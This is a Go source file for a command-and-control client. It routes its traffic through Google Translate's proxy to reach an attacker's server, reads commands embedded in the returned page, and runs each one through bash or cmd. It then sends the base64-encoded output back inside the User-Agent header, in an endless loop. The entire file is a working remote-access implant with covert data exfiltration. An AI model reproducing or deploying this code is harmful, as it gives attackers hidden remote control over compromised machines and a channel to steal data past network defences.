client.go

package main

import (
  "bytes"
  "encoding/base64"
  "fmt"
  "log"
  "net/http"
  "os"
  "os/exec"
  "runtime"
  "strings"
  "github.com/antchfx/htmlquery"
  "golang.org/x/net/html"
  "golang.org/x/net/html/charset"
)

type requestData struct {
  url       string
  userAgent string
  method    string
}

var C2URL string
var USERAGENT = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36"
var RESULT string

func xpathParser(html *html.Node, xpath string) string {
  a := htmlquery.FindOne(html, xpath)
  return htmlquery.InnerText(a)
}

func Encode(data []byte) string {
  return base64.StdEncoding.EncodeToString(data)
}

func parseCommand(command string) string {
  if strings.Contains(command, "STARTCOMMAND") {
    startIndex := strings.Index(command, "STARTCOMMAND")
    endIndex := strings.Index(command, "ENDCOMMAND")
    return command[startIndex+len("STARTCOMMAND") : endIndex]
  } else {
    return ""
  }
}

func doRequest(request requestData, printar bool) (*html.Node, error) {
  client := http.Client{}
  req, err := http.NewRequest(request.method, request.url, nil)
  req.Header.Add("User-Agent", request.userAgent)
  resp, err := client.Do(req)
  if err != nil {
    return nil, err
  }
  r, err := charset.NewReader(resp.Body, resp.Header.Get("Content-Type"))
  if err != nil {
    return nil, err
  }
  return html.Parse(r)
}

func interact(request requestData) *html.Node {
  resp, err := doRequest(request, false)
  if err != nil {
    fmt.Println(err)
  }
  return resp
}

func translateFlow() string {
  return thirdStep(secondStep(firstStep()))
}

func firstStep() string {
  request := requestData{
    url:       "https://translate.google.com/translate?&anno=2&u=" + C2URL,
    userAgent: USERAGENT,
    method:    "GET",
  }
  result := xpathParser(interact(request), "//iframe/@src")
  return result

}

func secondStep(url string) string {
  request := requestData{
    url:       url,
    userAgent: USERAGENT,
    method:    "GET",
  }

  result := xpathParser(interact(request), "//a/@href")
  return result
}

func thirdStep(url string) string {
  var useragent string
  if len(RESULT) != 0 {
    useragent = RESULT
  } else {
    useragent = USERAGENT
  }

  request := requestData{
    url:       url,
    userAgent: useragent,
    method:    "GET",
  }

  var b bytes.Buffer
  html.Render(&b, interact(request))
  return parseCommand(b.String())
}

func execCommand(cmd string) {
  var output []byte
  if runtime.GOOS == "windows" {
    output, _ = exec.Command("cmd", "/c", cmd).Output()
  } else {
    output, _ = exec.Command("bash", "-c", cmd).Output()
  }

  RESULT = USERAGENT + " | " + Encode(output)
  translateFlow()
}

func main() {
  args := os.Args
  if len(args) < 3 {
    log.Fatal("Usage Error\n" + args[0] + " www.c2server.ml secret-key")
  }
  key := args[2]
  C2URL = "http://" + args[1] + "/?key=" + key
  for {
    execCommand(translateFlow())
    RESULT = ""
  }
}